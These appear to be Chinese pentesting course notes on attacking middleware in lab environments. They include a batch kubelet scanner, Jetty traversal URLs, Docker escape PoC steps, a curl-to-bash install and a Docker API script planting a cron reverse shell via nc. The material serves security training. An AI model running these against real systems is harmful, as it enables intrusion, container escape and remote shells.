#知识点：
中间件及框架列表：
IIS，Apache，Nginx，Tomcat，Docker，K8s，Weblogic，JBoos，WebSphere，Jenkins ，GlassFish，Jetty，Jira，Struts2，Laravel，Solr，Shiro，Thinkphp，Spring，Flask，jQuery等
0、中间件-K8s安全
1、中间件-Jetty安全
2、中间件-Docker安全
3、中间件-WebSphere安全

#章节内容：
常见中间件的安全测试：
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

#前置知识：
中间件安全测试流程：
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程：见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

一、中间件-K8s（容器相关）

kubernetes简称 k8s，是一个由google开源的，用于自动部署，扩展和管理容器化应用程序的开源系统。在B站内部，k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s，可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
参考：https://blog.csdn.net/w1590191166/article/details/122028001 k8s对外攻击面总结

1、怎么判定是不是k8s
组件：组件会出现一些默认端口。如果有一些默认的端口，就能判定是k8s
　　（1）kube-apiserver：k8s master节点api服务器，以REST API服务形式提供接口，作为整个k8s的控制入口。
　　（2）kube-controller-manager：执行整个k8s的后台任务，包括节点状态状况、Pod个数、Pods和Service的关联等。
　　（3）kube-scheduler：接收来自kube-apiserver创建Pods任务，通过收集的集群中所有node节点的资源负载情况分配到某个节点。
　　（4）etcd：k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库
　　（5）kube-proxy：运行在每个node节点上，负责pod网络代理。定时从etcd获取到service信息来做相应的策略。
　　（6）kubelet：运行在每个node节点上，作为agent，接收分配该节点的pods任务及管理容器，周期性获取容器状态，反馈给kube-apiserver。

kube-apiserver开放端口：8080
kubelet开放端口：10250
etcd开放端口：2379
dashboard开放端口：80
docker开放端口：2376
kube-proxy开放端口：8001

2、安全问题：
　　1.未授权访问（用k8s部署时，配置导致的问题）
　　2.提权漏洞（在提权章节会讲）
https://blog.csdn.net/u012206617/article/details/120178354

网络搜素k8s语法："kubernetes" && port="10250"
可以写py脚本批量去进行测试，获取存在漏洞的URL：

import requests

for url in open('urls.txt'):
    url=url.strip()+'/pods'
    print(url)
    try:
        result=requests.get(url,verify=False).text
        #print(result)
        if 'Unauthorized' not in result:  #如果页面没有出现'Unauthorized'
            print('+|'+url)
    except Exception as e:
        pass

二、中间件-Jetty

Elipse Jetty是一个开源的servlet容器，它为基于Java的Web容器提供运行环境。
访问路径来获取文件内容，同一个漏洞，知识修复后再次被利用。
环境：http://vulfocus.io/#/dashboard

CVE-2021-28164
http://123.58.236.76:63126/%2e/WEB-INF/web.xml
CVE-2021-28169
http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429
http://123.58.236.76:63126/%u002e/WEB-INF/web.xml

三、中间件-Docker

Docker容器是使用沙盒机制，是单独的系统，理论上是很安全的，通过利用某种手段，再结合执行POC或EXP，就可以返回一个宿主机的高权限Shell，并拿到宿主机的root权限，可以直接操作宿主机文件。它从容器中逃了出来，因此我们形象的称为Docker逃逸漏洞。

1、权限对比：

　　· docker启动的web nginx环境，相当于一个虚拟的环境，在真机上找不到相对应的目录（Docker沙盒机制）

　　· 常规Nginx启动的web环境，和正常的环境的目录，文件等各自一致，真实存在的。权限也是一样的。

【例】：常规Nginx启动的web环境，和正常的环境的目录，文件等一致

① 将1.php放在/html目录下：

② 访问47.xx.xx.xx/1.php，用工具连接（菜刀或哥斯拉）

③ 获取目录结构

结论：这些目录和实际环境中的目录、文件等是一致的

2、docker搭建的Nginx环境

① 启动docker环境

cd vulhub-master/nginx/nginx_parsing_vulnerability/
sudo docker-compose up -d

② 上传带后门的码

③ 利用文件解析漏洞，访问 http://xx.xx.xx.xx/uploadfiles/xxxx.jpg/1.php

④找到文件的路径，和实际环境的路径对比

发现实际环境中没有uploadfiles这个路径，这是docker虚拟的路径，实际在磁盘中是不存在的

结论：在docker中进行的安全测试和真实环境测试的结果完全不一样，docker中显示的文件或者目录，与真实环境中区别很大。

3、如何判断网站应用是否是docker搭建的

如何判断当前机器是否为Docker容器环境:

①如果根目录下存在.dockerenv文件，说明是在docker容器中。ls -alh /.dockerenv

② 检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的cgroup信息，存在docker字段则是在docker容器中：cat /proc/1/cgroup

3、Docker攻防

　　· docker自身的漏洞

　　· docker容器逃逸（逃逸容器，进入真实的环境）---属于权限提升，导致逃逸的可能性

引起docker容器逃逸漏洞漏洞成因：
　　1.由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
　　2.由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271，CVE-2020-15257
　　3.由配置不当引起——开启privileged（特权模式）+宿主机目录挂载（文件挂载）、功能（capabilities）机制、sock通信方式

4、docker逃逸漏洞

【例1】：-CVE-2016-5195

漏洞描述：

Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞，源于Linux内核的内存子系统在处理写入时拷贝存在竞争条件，允许恶意用户提权获取其他只读内存映射的写访问权限。当一个进程尝试写入只读页面时，内核需要将该页面复制到新的内存空间，并将其设置为可写，以便进程可以继续进行写入操作。

漏洞存在的环境：

Linux内核>= 2.6.22（2007年发行，到2016年10月18日才修复）

https://github.com/gebl/dirtycow-docker-vdso
https://www.ichunqiu.com/experiment/catalog?id=100295
# 使用本地1234端口连接docker的1234端口运行dirtycow镜像，并将其临时命名为test
# 其中 test：为临时名称，可以自定义填写。 -p：第一个端口为本机的端口，第二个端口为Docker的端口。 -itd：意思是在后台运行，交互式运行，并且输出当前的信息 /bin/bash：调用Shell
1.启动docker

sudo su root
docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash
2.进入docker内部的test应用
docker exec -it test /bin/bash

3. 在docker中创建文件，不会影响真机上的文件（如果进行了docker逃逸，那就会影响到真机的文件）
查看镜像：docker images

退出镜像：exit

真机用户：root@ubuntu

进入docker后的用户root@9scsecexxx（IMAGE ID）

比如在docker中创建文件xiaodi，这个文件夹只会在docker中查看到，退出docker查看真机，真机上看不到这个xiaodi的文件夹

4. docker逃逸：

下载漏洞：https://github.com/xxx/dirtycow-docker-vdso

创建一个dirtycow-vdso文件并且把相应exp放到文件里面

　　mkdir /dirtycow-vdso/

进入到/dirtycow-vdso/进行编译

　　cd /dirtycow-vdso/

　　make
执行exp，尝试逃逸

　　./0xdeadbeef

在docker创建的文件，也出现在了真机中：

也可，nc监听并执行编译文件

【例2】： -CVE-2019-5736
参考：https://blog.51cto.com/u_15060465/4336524
复现：curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
1、下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、修改编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3.将该payload拷贝到docker容器中（此时可以模拟攻击者获取了docker容器权限，在容器中上传payload进行docker逃逸）并执行
docker cp main ecca872da49d:/home
docker exec -it ecca872da49d bash
cd /home/
chmod 777 main
./main
4、再次进入docker镜像后监听即可收到
docker exec -it 镜像ID bash
nc -lvvp

【例3】：docker 容器安全漏洞

docker未授权访问漏洞-vulhub-exp.py
可以直接用脚本去跑，那就可以得到权限
语法："docker" && port="2375"

启动环境：

docker-compose up -d

docker-compose down

cd docker/

ls
cd unauthorized-rce/

ls
docker-compose build

docker-compose up -d #启动

访问：

监听5566：

利用脚本（python）：

import docker
client = docker.DockerClient(base_url='http://192.168.233.128:2375/') #目标地址
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 175.178.151.29 5566 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

运行脚本：python docker-api.py

监听成功：

四、中间件-WebSphere

WebSphere® Application Server 加速交付新应用程序和服务，它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选择，以便更好地协调项目需求与编程模型功能和开发人员技能。
端口：9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等。
漏洞探测在8880端口，后台是9060端口，解析是9080端口
需要自己搭建：
拉取镜像：docker pull iscrosales/websphere7
启动镜像：docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
停止镜像：docker stop $(docker ps -aq)